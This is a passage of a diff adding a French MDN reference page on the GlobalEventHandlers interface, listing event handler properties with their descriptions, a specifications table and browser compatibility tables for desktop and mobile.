+ <dt>{{domxref("GlobalEventHandlers.onlostpointercapture")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque le type d'événement {{event("lostpointercapture")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("mousedown")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseenter")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("mouseenter")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseleave")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("mouseleave")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("mousemove")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("mouseout")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("mouseover")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("mouseup")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousewheel")}} {{Non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("mousewheel")}} est déclenché. Déprécié. Utiliser  <code>onwheel</code> à la place.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.onwheel") }}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("wheel")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpause")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("pause")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplay")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("play")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplaying")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("playing")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerdown")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("pointerdown")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointermove")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("pointermove")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerup")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("pointerup")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointercancel")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("pointercancel")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerover")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("pointerover")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerout")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("pointerout")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerenter")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("pointerevent")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerleave")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("pointerleave")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("pointerlockchange")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("pointerlockerror")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onprogress")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("progress")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onratechange")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("ratechange")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("reset")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("scroll")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeked")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("seeked")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeking")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("seeking")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("select")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectstart")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("selectionchange")}} est déclenché, par exemple, quand l'utilisateur commence une nouvelle sélection de texte sur une page web.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("selectionchange")}} est déclenché, par exemple, quand le texte sélectionné sur une page web change.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onshow")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("show")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("sort")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onstalled")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("stalled")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("submit")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsuspend")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("suspend")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontimeupdate")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("timeupdate")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onvolumechange")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("volumechange")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchcancel")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("touchcancel")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchend")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("touchend")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchmove")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("touchmove")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchstart")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("touchstart")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontransitioncancel")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) appelé lorsqu'un évènement {{event("transitioncancel")}} est envoyé, indiquant qu'une <a href="https://developer.mozilla.org/fr/docs/Web/CSS/CSS_Transitions">transition CSS</a> a été abandonnée.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontransitionend")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) appelé lorsqu'un évènement {{event("transitionend")}} est envoyé, indiquant qu'une <a href="https://developer.mozilla.org/fr/docs/Web/CSS/CSS_Transitions">transition CSS</a> est terminée.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwaiting")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("waiting")}} est déclenché.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface ne définit aucune méthode.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Selection API",'', 'Extension to GlobalEventHandlers')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td>Ajoute <code>onselectionchange.</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Ajoute<code>onpointerlockchange</code> et <code>onpointerlockerror</code> sur{{domxref("Document")}}. Est implémenté expérimentalement <code>GlobalEventHandlers</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis le précédent {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Instantané de {{SpecName("HTML WHATWG")}}. <code>onsort</code> ajouté depuis {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Instantané de {{SpecName("HTML WHATWG")}}. Création de <code>GlobalEventHandlers</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncanplay</code>, <code>oncanplaythrough</code>, <code>ondurationchange</code>, <code>onemptied</code>, <code>onended</code>, <code>onloadeddata</code>, <code>onloadedmetadata</code>, <code>onloadstart</code>, <code>onpause</code>, <code>onplay</code>, <code>onplaying</code>, <code>onprogress</code>, <code>onratechange</code>, <code>onseeked</code>, <code>onseeking</code>, <code>onstalled</code>, <code>ontimeupdate</code>, <code>onvolumechange</code>, <code>onwaiting</code></td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onsuspend</code></td>
+   <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ondrag</code>, <code>ondragend</code>, <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragover</code>, <code>ondragstart</code>, <code>ondrop</code></td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmouseenter</code>, <code>onmouseleave</code></td>
+   <td>{{CompatGeckoDesktop(10)}}</td>
+   <td>{{CompatChrome(30.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>5.5</td>
+   <td>17</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ondragexit</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncancel</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onclose</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncuechange</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmousewheel</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onsort</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmozfullscreenchange</code>, <code>onmozfullscreenerror</code> {{non-standard_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onpointerlockchange</code>, <code>onpointerlockerror</code></td>
+   <td>{{CompatGeckoDesktop(10)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[2] </sup>{{property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onpointercancel</code>, <code>onpointerdown</code>, <code>onpointerup</code>, <code>onpointermove</code>, <code>onpointerout</code>, <code>onpointerover</code>, <code>onpointerenter</code>, <code>onpointerleave</code></td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onselectionchange</code></td>
+   <td>{{CompatGeckoDesktop(43)}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ontouchend</code>, <code>ontouchcancel</code>, <code>ontouchmove</code>, <code>ontouchstart</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>animationstart</code>, <code>animationend</code>, <code>animationcancel</code>, <code>animationiteration</code></td>
+   <td>{{CompatGeckoDesktop(51)}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ongotpointercapture</code>, <code>onlostpointercapture</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(57.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onauxclick</code></td>
+   <td>{{CompatGeckoDesktop(53)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onwheel</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ondrag</code>, <code>ondragend</code>, <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragover</code>, <code>ondragstart</code>, <code>ondrop</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncanplay</code>, <code>oncanplaythrough</code>, <code>ondurationchange</code>, <code>onemptied</code>, <code>onended</code>, <code>onloadeddata</code>, <code>onloadedmetadata</code>, <code>onloadstart</code>, <code>onpause</code>, <code>onplay</code>, <code>onplaying</code>, <code>onprogress</code>, <code>onratechange</code>, <code>onseeked</code>, <code>onseeking</code>, <code>onstalled</code>, <code>ontimeupdate</code>, <code>onvolumechange</code>, <code>onwaiting</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmouseenter</code>, <code>onmouseleave</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(10)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onsuspend</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ondragexit</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>oncancel</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onclose</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncuechange</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmousewheel</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onsort</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onmozfullscreenchange</code>, <code>onmozfullscreenerror</code> {{non-standard_inline}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+  </tr>
+  <tr>
+   <td><code>onpointerlockchange</code>, <code>onpointerlockerror</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(10)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onpointercancel</code>, <code>onpointerdown</code>, <code>onpointerup</code>, <code>onpointermove</code>, <code>onpointerout</code>, <code>onpointerover</code>, <code>onpointerenter</code>, <code>onpointerleave</code></td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>onselectionchange</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(43)}}<sup>[4]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ontouchend</code>, <code>ontouchcancel</code>, <code>ontouchmove</code>, <code>ontouchstart</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>animationstart</code>, <code>animationend</code>, <code>animationcancel</code>, <code>animationiteration</code></td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(51)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+  </tr>
+  <tr>
+   <td><code>ongotpointercapture</code>, <code>onlostpointercapture</code></td>
+   <td>{{CompatChrome(57.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
